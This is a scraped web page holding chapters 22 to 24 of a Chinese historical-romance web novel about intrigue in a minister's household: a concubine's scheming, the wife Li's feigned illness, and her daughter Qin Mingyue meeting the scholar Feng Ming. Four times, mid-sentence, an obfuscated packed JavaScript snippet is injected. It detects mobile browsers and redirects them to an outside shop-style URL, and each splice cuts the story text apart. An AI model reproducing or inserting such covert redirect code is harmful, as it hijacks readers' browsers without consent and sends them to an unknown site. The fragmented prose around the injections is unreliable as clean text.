他心疼道：“不怪你，那茶汤这样烫，便是我也端不住的。碎瓷既有下人打扫，何必亲自上手……棠儿，可疼吗？” 李氏咳了两声，又看向那边端着茶壶和茶盏的婢女，一脸严厉：“怎么给姨娘盛这样烫的茶汤？” 宋姨娘连忙挥手，忙着替那婢女开解：“不是的，是妾身愚笨拿不稳。茶汤烫些便烫些，本是不妨事的，妾……” 秦佩见宋姨娘如此，也是着了急，当即就让那婢女跪下，“茶汤杯盏是你负责备下的？” 那婢子看着眼生，是宋姨娘进了府才被挑着去了疏影阁的，脸圆目长，皮肤有些发黄。 她慌慌张张跪下，头低着不敢抬起，忙道：“是……是奴婢，可厨房的……” “闭嘴！” 宋姨娘忙起身，挣脱了秦佩的手，一脸恨铁不成钢的样子，“你别再说了！” 那婢女却是抖着说话，脸上虽仍是害怕，“姨娘不让奴婢说，奴婢偏要说！那些厨房里的人，见姨娘就这样迎回了府里，都怠慢着她！昨夜姨娘独守空房，竟是连晚膳都没有用过，生生饿了一夜！今日……今日去领开水茶汤，也被他们刁难，说我们姨娘是不要脸的外室！” 原是如此。 覃姑姑今日带她去厨房，不单单是为了敲打她一番，更是为了去厨房上上眼药。 折枝默默想到如此，又继续看着堂上演着一出好戏。 秦明月坐在下边，饶有趣味地捧着脸看戏，时不时地拿了颗葡萄，送到嘴里吃得高兴。 “放肆！” “棠儿虽曾经做过外室，但如今已经进门，便不再是外室，是家中姨娘！” 秦佩按了按眉心，又看向李氏，有些恼怒：“你平日里是如何管教下人的？怎么一点规矩都不知道了？” 李氏不动声色从矮桌上拿起方才从宋姨娘手中端来的茶汤，一饮而尽。 秦佩这才想起方才她也端了茶杯，也被烫了，却没有像他一样失手，脸色也变得和缓了一些。 “夫人方才也接了茶，可没事吧？” 李氏摇了摇头，只是应下：“是我管教下人无方，怠慢了妹妹……”她招了招手，低头朝着夏荷嘱咐了什么。 很快夏荷和秋菊便一人带着一队丫鬟来了厅中，人人手中皆端着一个檀木盘子，里边装着些契纸首饰银两。 “上回匆匆一见，备下的不甚丰厚。现下想着，既你已经入了家门，请我吃了这口茶，便是我家的人。老爷不曾过问这些庶务，都是我一手操持，便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533291|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做主分些铺子田地给你，打理些事情，在后宅当中才不算太难熬。” 宋姨娘虽然心中惊诧不已，可面上却是为难得很，“妾……妾怎可担此大任……” 秦佩笑着便让宋姨娘收了。 收下这些，宋姨娘便不哭了，只是跪在地上谢恩，“妾身叩谢主母，主君。妾既有了傍身的，上下打点着，便不担心别人轻慢了去了。” 从前秦佩怜爱她，可都是从来只给她些东西，像是养着一个无足轻重的玩意儿，从不给她钱财。 子舒要些什么，也都是直接给了他去。 可她一开始傍上他，为的就是能供子舒做官，能富贵平安，谁能给她富贵，她便跟着谁。故而那日李氏找上门来，她便想过想要回了尚书府里争夺家产。 李氏笑着，笑意不达眼底，察觉到宋姨娘眼中一闪而过的异色，双手紧了紧，又喝下口茶。 今日之事，她虽知道是宋氏一手谋划，可若非没有她的刻意纵容，又怎么会让她真在秦佩面前摆了她一道？ 既都喝了茶，李氏便叫着诸位都散了去。 宋姨娘和秦佩冰释前嫌，便同他一同去了书房。红袖添香在侧，引得秦佩是大笑不止。 闹剧散场，秦明月领着两个小丫鬟往回走，继续想着该如何研制些香方，路过书房时听见里边的说笑声，狠狠踢了一脚路边的石头。 “呸！狐媚子！” 翠云连忙上前，一脸关切望着秦明月的脚。 “哎哟小姐，您可当心把脚踢伤了。” 折枝同样上前，看着那书房前的海棠树，轻啊了一声：“这白海棠花都落了，没什么好看的了。” 翠云剜她一眼：“小姐可不是来这里看花的！你先发什么话！” 秦明月朝着她的眼睛看去，果然看见花已经谢了，而宋姨娘正在书房前边的水缸里替秦佩洗笔，正是一副岁月静好模样。 她忽然想起方才前厅当中，父亲握住那宋姨娘的手，唤的是什么来着？ 唤的她棠儿……哪个棠儿？ * 丰乐楼，雅间。 众公子围在栏杆面前看戏。 曾钧见着宋子舒竟真的骑着马跑了，便回了头看平日里事事都要带着他的风流少爷方靖远。 “方兄，你真让那姓宋的就这样走了？” 方靖远点点头，摇着扇子，反而转过头，看着那在一旁独自喝茶的少年。 那少年穿了件玉白色镂金云纹长袍，长发仍是一半束起，另一半放下，掩住一些面目。 察觉到他的目光，崔彦林抬起茶杯，做了个请的姿势。 方靖远走近了，自顾自地坐下，正对着崔彦林，拿起筷子，夹走了桌上的一只螃蟹。 “你怎么回事啊？大家都去看热闹去了，偏你一个人在这里把好菜都吃尽了，怎么，你家光鲜在外，其实常常让你吃不饱饭？远之，难怪你这样清瘦，竟是如此啊！” 崔彦林默默给方靖远夹了块白肉：“吃这个。” 22. 招财 方靖远将信将疑，将那块白肉咽下，才见崔彦林开口：“丰乐楼新研制出来的吃法。说是以五香、辣子、八角等香料一同放入锅中，蒸煮之后再冷却切片，滋味鲜甜。你觉得如何？” 方靖远回想了下：“还不错，是哪个地方的肉？怎的同别的肉口感不同？” 崔彦林答道：“招财。” “招财？招财可是这道菜的名字？确实吉利……等等……”方靖远连忙呸了好几下，似乎想要将方才咽下去的白肉片吐出来，却发现已经无力回天。 他连忙喝了口茶咽下心里的不适，“那你怎么不早些说？呸呸呸，崔彦林……你怎么这样坏？” 崔彦林没说话，只是继续吃菜。 但不知怎么的，方靖远回味着刚刚的味道，觉得倒也不错，便夹了一块又是一块，竟就吃惯了。 “你别说，远之，这玩意儿吃多了倒也不错，尚能入口。不过难登大雅之堂罢了。”方靖远又是吃了几口，忽然将筷子一撂，看着崔彦林，满脸玩味：“喂，之前你同我说，只要我们一堆的愿意带着宋子舒，你就愿意和我们社的比试。什么时候兑现？” 崔彦林不语，仍旧默默吃着菜，动作十分优雅。 方靖远嗤了一声，又夹过来一块，单方面把时间定下了：“崔彦林，五月初薛家要办宴席，我母亲已经接了拜贴，既有马球捶丸，又有蹴鞠投壶，还有吟诗做赋，最是好玩，你去不去？” 崔彦林点头：“要去。” 方靖远颔首，“那既然要去，我们赛场上见分晓如何？” 崔彦林摇头，却看见方靖远一巴掌拍在他肩头。 不知道他那红艳艳的折扇是不是掉色，竟在他玉白色的袍子上按下一个红印。 崔彦林浑身发毛，一些不好的回忆顿时浮现在脑海当中。他向来沉稳干净的眸子带上了几分阴鸷，看向方靖远，如同利刃。 “方靖远。松开手。” 方靖远依言松开手，有些怪异地看着崔彦林，撇了撇嘴道：“你这样凶干什么？好歹我也是你的表哥，你怎可直呼我的名讳？你不是什么京城活菩萨吗？可怜可怜别人倒是成，可怜可怜你表哥我却不成？” 这个表弟自从上回在京中传了一阵子活菩萨的名声之后，就变得奇怪异常。 总是变得阴晴不定，有时候虽笑眯眯地看着人，却让人感觉到不寒而栗。 并且他从前从来不和他这个喜欢逗猫惹狗的纨绔表哥来往，可自从他的这个劳什子的名声传开后，他倒是时常来拜访。 有时候独身一人，有时候会带上个小厮，面上说是来找他探讨学问，实则他并无才学，也无话和他讨论。 每回他都是看着崔彦林此人跟着他一起鬼混，却也不完全鬼混，只是他们嬉闹着，崔彦林在一旁安安静静地呆着。 时常不知道他去了哪，但他们这几个狐朋狗友回去的时候总又能在路上看见他回来。 就如此次吃席，上菜玩耍时不见他，菜齐了总能见到他了。 崔彦林闻言，垂着眼睛，轻轻哦了一声。 他心里好像总想着东西，谁人也猜不透。 方靖远不与他计较，只是冷哼一声：“我还有个疑问，你今日必须解答我。你为什么去哪都要我们带着那个姓宋的？” 崔彦林还是不说话。 他看着杯中的清茶，倒映着他的一双眼睛。 他透过那茶看他的眼睛，他的眼睛透过那茶看他。 * 疑窦已生，秦明月便是哪哪看着那宋姨娘哪哪不顺心。 为此闹到李氏面前几次，李氏也是笑眯眯地喊她沉下心来。 秦明月将袖子往矮桌上一搭，脸色极臭，“静下心来？我如何能静下心来？我只要一想想，父亲瞒着我们养了她不知多少年，我便心中气愤！父亲那书房前边的白海棠，我央了多少遍都不肯送我，原来竟是给宋白棠那贱人种的！” 李氏正在翻看账本，微不可见蹙了蹙眉，却没有发怒，只是摇头道：“那又如何？她虽不能被我们揉圆搓扁，可好在在我们的眼皮子底下，也一时半会儿翻不了天。” 李氏手指敲在账本上，轻叹道：“没到时候……没到时候……” 秦明月不听，只是晃着她的手一直撒娇：“母亲，母亲，女儿实在是难以忍受她，一刻都难以忍受……” 李氏顿了顿，摸了摸她的头，“你上回的账目学得怎么样了？可曾会算会看了？” 秦明月咂了咂嘴，噤了声。 这小妮子一提到学管家的，便是再也不嘟囔着见不得宋姨娘的事情了。 李氏笑了笑，放下账本，仰着脑袋沉思了片刻，接着又道：“我看你是太无聊了，应当给你找些事做。” “可你喜欢做的，我总不允你。可我想让你做的，你总不喜欢，这可怎么办才好呢？” 秦明月眨眨眼睛，望着李氏，目露哀求：“那不如母亲就纵我做些好玩的事吧？上次我让院子里的小厮做了个竹杖子，又做了个门……母亲，我能在院子里边玩捶丸吗？” 李氏摸了摸秦明月的鼻尖，笑道：“难不成我不允，你就不会自己玩？” “依我看，你该多出出门，去替母亲去查查崇业坊的私宅，看看里边能否查出第二个宋姨娘呀！” 秦明月听完，竟觉得很有意思，一拍大腿便让身边的丫鬟去那马房备下马车。 翠云和折枝你看看我，我看看你，却不知道谁该去的好。 翠云咬了咬牙，对着折枝小声威胁：“每次派你去办些什么，你总能遇见好机缘，白来让你和夫人身边的人亲近了！如今我可什么都不会让了你！” 话罢，她扭头就走，不愿再与折枝见面。 折枝又叹了口气，什么都没有说。 两蚌相争，必有一伤。她既然有她的所求，那么就少不了会和翠云有相争的那天。 马车很快备好，秦明月被扶着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533292|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了马车，却觉得乏味，便叫了个人上去陪她。 翠云眨了眨眼睛，表情极为谄媚，弓着身子便往上去：“小姐，奴婢上回给您讲那个话本子还未讲完，奴婢继续给您讲，也好解解闷……讲到哪一回来着？好像讲到了那穷书生高中状元，一日看尽长安花……” 街道冗长，马车的轱辘声伴着小贩的叫卖声隐没在街角。 “又说那穷书生张生高中状元，走马观花之际，当即就被那太傅府中的女儿看上。张生本就与那富家小姐有了婚约，确难敌太傅府小姐有位位高权重的父亲……” “小姐！前面过不去了！” 车夫勒了马，吁地一声停住。秦明月撩开帘子，只见那小巷子中开了个摊子。 一阵醇厚的豆香味传来，一位头发花白的老妇弓着身子从坊间另外一个院子里拿了些刀具和粗布出来，放到那摊子处。粗布麻衣，脸上皱纹很多，看着十分穷苦。 那老妇看着眼神似乎不太好，一边走着，一边拿着手里的木杖往前边一点点地探路。 可她似乎听力极好，听见街角处秦明月在问那车夫还能不能过去，便颤颤巍巍着上前。 “贵人……可是老妇的摊子挡了贵人的路了？” 那车夫无奈摆摆手：“老姐姐，这文韵巷本身就窄，你在这里支个摊子更是过不去了。再者，你在这里支摊子，怕是来往人都没有，怎么会有人来买你的豆腐？我家小姐金尊玉贵，冲撞了她，怕是你十个摊子也赔不起的。” 老妇闻言，两行清泪滑下，她那双迷蒙的眼望着那马车出神，看不真切，口中喃喃：“我家铭儿要娶新妇了，可不能得罪了贵人……” “可怜我是个没本事的，什么也帮不上铭儿……一把年纪了还屡次给铭儿添乱……我不中用，不中用啊……” 秦明月不知道什么时候下了车，一只手搭在折枝的肩上，看着那老妇慌张收拾，皱了皱眉。 她嘱咐那车夫：“你就在外边等着吧，左右没几步路了，我走过去便是了。” 秦明月走近那老妇身边，从荷包里掏出一锭银子，塞到那老妇人手中，有些没礼貌地喂了一声。 或是怕她看不清人究竟在哪个方向所以故意喊了声。 “今日你不用出摊子了，本小姐把你所有的豆腐都买下来了，你就回去好好歇着吧。还有，”秦明月皱眉道：“不中用的不是你，而是你的孩儿。你的孩儿若是中用，又怎么会让你一把年纪了还出来赚取他娶新妇的聘礼？” 那老妇有些茫然，掂量着那银锭子，分量怕是不少，便哆哆嗦嗦地递回去：“姑娘给的太多了，老身不敢要……这些银两，莫说是买下老身的豆腐……怕是买下老身的摊子也绰绰有余。姑娘，你还是拿回去吧。” 秦明月觉得心烦，一把将银锭子塞了回去，再不容她拒绝，转身就预备带着两个丫鬟和后边跟着的随行小厮离开。 却听见后面传来急促的一声——“母亲！”“ 23. 错了 秦明月转头，恰好看见那声音的源头也正在看她。 他一身青粗布长衫，人清瘦如竹。头上束了个桃木做的发冠，将发丝一丝不苟地全部束起。他的五官也同样严谨，眉若更低则现奸，目若更小则显诈，唇若更红则过艳，鼻若更低则有缺。 若用一个词来形容他，那边是恰到好处。 有一种看着就觉得很舒服的感觉。 那青年人扶住老妇，朝着秦明月这边看过来。 他的眼神里似乎闪过一分错愕，但很快划走。 秦明月又想起方才翠云讲的话本子——穷书生和富家小姐已有婚约，可太傅之女非要在其中横插一脚。 而她就是那个权势逼人的太傅之女，眼前那个青年就是那个穷书生，已经有了婚约，可太傅之女还是无可救药地爱上了他。 她见过他，在上次的蹴鞠场上，他英姿勃发，脚步轻快，飒沓如流星。 冯铭仔细打量母亲一番。目露责备：“母亲，儿子方才回家中，听小芸说你又出来了，急得儿子在巷子中到处乱找……母亲，儿子如今已经做了官，有几两俸禄在身，养家糊口不成问题，已经不需要你再操劳了。” 冯母只是摇了摇头，又抹了两把眼睛：“铭儿，你那俸禄养活我们孤儿寡母虽是够了，可你已经定下了婚约，日后等你娶了新妇，难不成也让她来和我们一起来受苦吗？” 秦明月抬手，似乎是整理了下衣袖上的褶皱与尘土，实则听了会母子之间的闲谈。 她抬腿，问折枝和翠云：“可记得路？” “奴婢记得的，奴婢给小姐带路！” “秦小姐！” 后面那个青衣青年人忽然喊住了她，脸色有些微红，看起来略微有些不自然。 时年四月，已过中旬。 巷中长着一棵槐树，巍峨参天，青白辉映，槐花落了一地。 冯铭蹲下身，从地上捡起方才秦明月给冯母塞银子的时候落下的那条手绢，走近秦明月，递到她身旁的小丫鬟手中。 折枝接过手绢，低着脑袋不说话。 秦明月愣了片刻，忘记了问他为什么知道自己姓秦，也忘记了责备折枝不懂礼数，片刻过后才缓缓道谢：“多谢公子。” * 保宁坊。 日头渐晚，街上人迹渐少。 哒哒的马蹄声响起，略显急促，可马背上人的心，却比马蹄声还要急些。 宋何下了马，近乎踉跄地跌至白香居门前，双手止不住地颤抖。 “什么人啊？” 开门的小厮换了一个，不再是从前那个，没见过宋何，更是只忠心于李氏。 一看来的人并不是李氏身边的，更非是秦明月身边的，而是不知道哪里来的白丁一个，便不以为意，扬着眉毛便问他。 “干什么的？” 宋何也发现已经换了人。此时倚在门柱之上，冷汗频出。他皱了皱眉，问：“这里从前住着的一位娘子还在吗？” 那小厮嗤了一声，笑：“公子，你可来晚了。那娘子现下怕是已经进了尚书府了，你要去找她。就去尚书府，别来这里。” 所以，方才那轿子上的，是他的姐姐？ 而就在他回来的路上，恰好与她擦肩而过？ 宋何顿时感觉浑身发凉，头脚的血液倒流，四肢百骸也僵硬起来。 嘈杂的车轮声停歇，后边的车夫勒了马，接着只见马车上下来了个少年。 少年一身月白色牡丹纹刻丝绸宽衫，正支起手来，拿起腰间的那块白玉，轻拨了下。 宋何不知在那门前站了多久。 一道惊雷划破天际。 整个京城笼罩在黑暗当中，夜雨倾盆。 从此万家灯火，再无一盏灯能为他而留。 天地不仁，以万物为刍狗；圣人不仁，以百姓为刍狗。 可明明都是刍狗，对待万物百姓之间却有差别？ 寒窗十年，一朝高中，人人贺他必能平步青云，终于摆脱草芥一般的身份，可他只为了给自己、给姐姐一隅安宁，为什么连这个机会都不肯给他？ 从马车上下来的那个少年默不作声，去旁边的茶摊上买下了个闲置着的斗笠，带上斗笠才慢慢看着宋何在那里淋雨。 不知过了多久，宋何才顶着一脸狼狈，浑浑噩噩地坐到了茶摊上，点了一壶热茶。 他倒了一碗茶，未等冷却，还冒着热气，就往脸上一泼。 旁边的少年抬眸看他一眼。 只看到他此刻鬓发尽散，凌乱地贴在额间。那双眼睛被热水一激，竟是眸底都染上了猩红。红色的血丝与黑色的瞳仁交缠在一起，看起来像是回阳间来夺人命脉的恶鬼。 他看着那白衣少年，问：“你怎么来这里了？” 少年继续把玩着手里的玉佩，收回视线再也不看他，声音也淡淡的。 “我是活菩萨，便是来救人的。” “救的什么人？” “救的苦心人。” 夜雨如幕，崔彦林并不怜惜宋何，而是任凭他在旁边淋雨，自己戴着斗笠慢悠悠地往前走。 “是谁派你来的？” “谁派我来的不重要，重要的是你站错了队。宋何，你难道还看不清吗？这满京城权贵世家，无一人看得起你，你又这样上前去为他们卖命，为了什么？” 他的声音不疾不徐，却狠狠戳进宋何命门。 他一时间不知道怎么反驳。 或许他很想问，你崔彦林不也是世家子吗？凭什么能这样抨击世家，把自己生生剥离出来了？ 可他问不出，因为这个崔小公子向来和别人不同。京城贵人无数，他不愿求秦佩帮他上下打点。便想着自己结交些世家子，却无人高看他，只有崔彦林愿意。 可他错了吗？ 当年父母坟前立誓，他此生必定扬眉吐气，让姐姐做世上最尊贵的诰命夫人，让他们可以在九泉之下亦能心安。他想要升官，他去求那些酒囊饭袋，去给他们当走狗，他有什么错？ * 秦府。 李氏卧在贵妃榻上小憩，难得有了时间忙里偷会子闲。她闭目，手中的账本也掉落在地上，看着像是已经睡熟了。 覃姑姑轻手轻脚进了门，为她盖上了一层薄衾，蹲下身来捡起那账本，放在那贵妃榻旁边的小杌子上。并未发出什么声响，可李氏却已经睁开了眼，直直地望着天。 雕梁画栋，何等富贵。 “姑姑……你说我做错了吗？” “当年父亲为我择婿，原先挑的并不是他，是我执意要嫁他。他那时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533293|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候还是个穷贡生，全靠我的嫁妆才发了家，如今官拜尚书，更是富贵无匹。可越是富贵，越是容易让人迷了眼。我记得明月幼时，我还有时间在家中陪她玩。后来没了时间，便将明月送进了书塾。我还记得呀……” 李氏望着高悬的房梁，“明月最初是爱学的，每回从书塾回来总缠着我和她父亲说今日都学了些什么字。后来见我们都哄着她，那么点大的孩子……竟都已经知道父母是在哄她，就开始不学无术，想让我们多看看她……” “我原以为行之只是初入官场、后又一路为了升官而应酬无暇分心多陪我们母女……原来只是，将那份时间都留给了别人罢了。” 李氏越看那房梁越觉得眼中模糊，她转过头，看着怔愣住的覃姑姑。 一注眼泪从侧过来的那只眼里滑下：“是我要的富贵，是我要的权势，不要的人心。我明知道……我明知道……” 覃姑姑从袖中拿出手帕，轻轻为她拭泪：“既然一错，那便竭力不要再错。” “宋姨娘那边已经安排妥当了。今日晨起，宋姨娘便带着身边的婢子去了您分过去的铺面了，是笑着回来的，还购置了一大堆东西，厢房都快堆不下了。又差了人去厨房，说是日日都要喝燕窝桃胶，饭食不能怠慢。” 她顿一顿，继续道：“小姐那边也已经遇上了，回来报信的小厮说马车被堵在文韵巷中走不动了，是小姐亲自下车走的。” 李氏将手抬起，放在额头上，神情有些疲惫：“欲要其亡，先让其狂。传出去话，说我病了。” 覃姑姑点头称是。 她轻轻阖上了门，嘱咐守在门口的夏荷秋菊。 “夫人病了，这几日没得我准许，什么人都不得在蒹葭院里胡乱走动。” 话罢，覃姑姑扫视一周，周围的丫鬟婆子都在打扫院子。 擦地的擦地，修枝的修枝，看着各司其职，却不知道有多少人看着专心，实则伸长了耳朵仔细听着主人屋子里的一言一举，生怕听漏了一嘴。 覃姑姑打发了个丫头去厨房知会一声，说是让厨房做些清淡易消化的，李氏病了，不便吃些大鱼大肉。 那小丫头年纪看着也还小，十二三岁的样子，模样清秀，举止机敏，名叫春桃。 春桃进了厨房，立刻就被在后边的刘老婆子认出来了。那老婆子拿着一把青菜，正有一搭没一搭地摘着菜叶子，见到春桃眼睛立马亮了。 这春桃本是她娘家嫂嫂的妹妹家的孙女，和她沾亲带故的，是家生子，又一直得覃姑姑看重，有什么事情都喜欢遣她跑腿。 一来二去，有什么要紧事，她就先告诉她了。 刘老婆子招了招手，喊过来春桃，往她手里偷偷塞了几枚铜钱，便开始问话。 “春桃啊，夫人近来可有什么吩咐啊？上回宋姨娘不是闹了一闹吗，可说要换些什么差遣的人吗？” 春桃瞧了眼那几枚铜钱，有些看不上眼，冷哼了一声：“这么点儿，打发叫花子呢！” 刘婆子谄媚的笑脸立刻拉了下来，一脸恨铁不成钢的样子，狠狠戳了她两下。 “呸，这点你还看不上，等你的那些月例银子都被你家那个偏心的娘拿走了你才知道是不是打发要饭的！” 春桃闻言也不再拿乔，迅速地把铜板放进荷包里边。 24. 探病 “哎呀，刘婆婆，你说这个我可就不认账了……夫人最近病了，不出门见客，也不许人去打搅呢！” 刘婆婆闻言，脸色倏地一变，一把逮住春桃：“你就知道这些？那夫人可曾安排了去疏影阁的人手？宋姨娘初来乍到的，总还有许多东西未曾收拾清楚，就她身边那几个小丫鬟怎么能够呢？” 春桃想了想，想起昨夜里覃姑姑的嘱咐，答道：“说起这个，正是吩咐过的呢……”她声音压低了些，凑在刘婆子耳边：“这几天让宋姨娘先自己挑着，有合意的先收到房里，等过段日子太老爷和堂老爷们上京了再新去人牙子那里挑些伶俐的。上回宋姨娘不就在洒扫的丫鬟里边挑中了一个吗？放到了身边，说是跟和她一起来的听松寂月姐姐平起平坐呢！” 刘婆婆啧啧两声：“小姐前些日子不也看重了一个洒扫丫头吗？也收用到了身边……你在夫人院子里也干了好些年了，怎么不见你哪日飞上枝头变凤凰？也省得老是做些跑腿传话的琐碎活儿。” 春桃啐了一声，在心底默默翻了个白眼，道；“那是人家福气好！怎么不见你做个管事的嬷嬷？也省得在小辈面前喷这些酸水。” 刘婆婆皮笑肉不笑，只是招呼着春桃去跟厨子递话，便什么也不说了。 此事就此告一段落。 秦明月这天傍晚回了秦府，还未踏进母亲的蒹葭院，便听见路上抱着匣子的小丫鬟们正在说话。 “夫人怎么偏偏这个时候病了？我记得昨日还出了门，正说要去京中几个人牙子手里购置些得力的丫鬟小厮……怎么……说病就病了？” 一个抱着个黄花梨木匣子的小丫鬟走的极慢，和后边提着两个五连珠羊角宫灯的说着话。 后边那个小丫鬟闻言竟是笑了笑：”得了吧！我可听说不是病了，是被气的！“ 折枝看见秦明月果然顿住了脚步，不悦地将目光扫了过去。 后边的两个小丫鬟走到前边，才看见秦明月正看着她们，吓得立马闭了嘴。 翠云白了她们一眼：”做你们该做的去！别在这里乱嚼舌根！” 两个丫鬟抖着身子答了是，看见秦明月看也没看她们一眼地走了才松了一口气。 折枝垂眸，心道——第二幕戏开唱了。 先唱一曲紫钗记前阙，再唱一段琵琶记。零零凑凑，总能凑出完整的一出戏。 你方唱罢我登场，顺水推舟，总能揪出来究竟是谁唱错了词。 紫檀镶点翠十景图屏风后，花梨木嵌玉石罗汉床上，李氏虚躺在姜黄色挑丝云纹软枕上，头上戴了个抹额。 秦明月进去之时，覃姑姑正一口一口地往李氏嘴里送药。 那药碗里的汤水看起来漆黑，闻起来更是苦涩。 秦明月的眼眶刹那间就红了。 从她记事以来，她母亲就从未这样狼狈过！ 错金螭兽香炉里掺了些辟寒香，还有甜腻的鹅梨香，却还是掩不住空气中弥漫的苦气。 “母亲……我听外边的人说您病了……怎么回事？早上的时候看着还好好的，怎么……请郎中来看过了吗？” 秦明月坐在床边，一脸怜惜。 覃姑姑轻叹了一口气，将药碗放到秋菊拿着的盘子上，又拿出帕子轻轻替李氏拭去了嘴角的药渍。 “郎中来看过了，说是受了风寒。昨夜夫人贪凉，半夜起来支了窗子，今日晨起就有些头疼，到了午后就起不来身了。” 秦明月回想，母亲早晨时确实看着疲惫，想来的确是受了风寒。 李氏艰难睁开眼睛，眼里红血丝有些重，嗓音也有些哑了。 “月儿……我的月儿。” 秦明月把脸凑上去，好让李氏好好抚摸。 “我闲着无事，给你舅母递了口信，叫着瑜姐儿过来陪着你玩。你在府上本就没有兄弟姐妹，堂兄妹又远在冀北，也只有瑜姐儿能陪着你排忧解闷了。” * 翌日。 巳时左右，便有下人来通传，说是几位表小姐和几位舅母来了。 秦明月有两位舅舅，一位是五品的谏议大夫李长羽，妻孙氏。膝下有儿子李勤李椎，一位女儿李瑜，皆为孙氏所处。此外还有位庶女李湘，是家中一位姓邹的姨娘生的。 那邹姨娘本是李老夫人娘家的侄女，生下李湘之后，竟是不久就撒手人寰。李湘便被李老夫人接去身边教养，平日里足不出户，很少露面。 折枝暗中思忖，想来这孙氏的确是个手段过人的。上次她贸然前来秦家，为的是做个顺水推舟的人情，实在是人精一个。 另一位是从五品的著作郎李长青，妻吴氏。膝下有位儿子李兹，另一位女儿李攸，算是儿女双全。并未纳妾，故而也没什么庶子庶女，一双儿女都是吴氏所生。 今日孙氏吴氏都来了，一脸关切地围在床边。 “哎呀……还是下人不得力，怎的这样没有眼力见，竟白白让你吹了一夜风？想必是那些个婢子，夜里值守，私底下偷奸耍滑去了！” 孙氏望着李氏，一脸怜惜。 李氏才吃过药，看着精神好了许多。她倚在软枕上，朝着孙氏、吴氏浅笑致意：“怪我不好，对嫂嫂们招待不周，害得嫂嫂们还要担心我这个病人。” “万一给嫂嫂们过了病气，我可是担待不起了。” 孙氏又是笑道：“哪里的话！我们既来看你，便是不怕你的病气，便是真病了，那也是同气连枝，病都病到一处了！” 吴氏只站在一旁不说话，用帕子轻轻捂住了口鼻。嘴上却笑着道：“正是这样！容妹妹，一听说你病了，我与嫂嫂是在家中坐也是坐不住，收了你的口信便吵着要来看看你呢！” 后边站着几个姑娘。 最前边的李瑜，柳叶眉舒展着，望着李氏，眸中微光闪闪，福了一身才缓缓道：“方才光听着母亲婶婶关心姑母去了，竟忘了见礼，是瑜儿失礼了。” 后边站着的李湘李攸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533294|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也福了福身，齐声道：“见过姑母。” 李氏笑着应了，才看见秦明月后知后觉地也行了礼：“见过大舅母，二舅母。” “见过几位姐姐。” 李氏用手指了指她，恨铁不成钢道：“你瞧，真正失了礼数的人大有人在！” 李瑜走上前，挽住秦明月的手往外走：“月姐姐，上回带我看的那白海棠我可是念念不忘呢……既然姑母让我们姊妹几个来陪你，那便不在这里碍着大人们说话了，我们玩我们的去！” 李湘在旁边笑着宠溺摇头。 她是家中姊妹中最大的，又养在老夫人身边，最是知书达理，要不是听说李氏病了，怕是一年也来不了几回秦府。 李攸站在旁边搭话：“是啊，月姐姐，三姐姐上回同我讲起，我竟是羡慕得很呢！赶快些让我大饱眼福！” 折枝这些个丫鬟跟在小姐们身后，排成一排。 折枝想起上回孙氏说李瑜不善言辞，是个呆闷子，可看她如今做派，哪像个闷脾气，反倒像是孩子当中的小人精罢了！ 秦明月想起那株白海棠，脸色顿时变了。 她身侧的李瑜何其敏锐，一下便看出她有些不对，忙安抚道：“前些日子听说你父亲新纳了个姨娘，可是让你不痛快了？” 李湘李攸脸色也微微一变，齐齐朝着秦明月看过来。 秦明月叹了一口气，“自从那狐媚子进了家门，父亲便日日宿在她那疏影阁了。那什么白海棠，就是为了她那贱人种的！书房，父亲写字作画之处，竟也让那贱人脏污成了个勾栏瓦舍样的地方！不仅如此！她一来了，家中的丫鬟婆子眼里都没了主子，眼里都朝着她去了！我……我母亲分明不是受了什么风寒！明明是她给气病的！” 李湘眸中微闪，也叹息一声道：“前些日子尚书迎亲，声势浩大，连深居家中的祖母都听说了此事。祖母听闻姑母病了，心疼得不行，非要我亲自前来看看姑母才放心呢。” 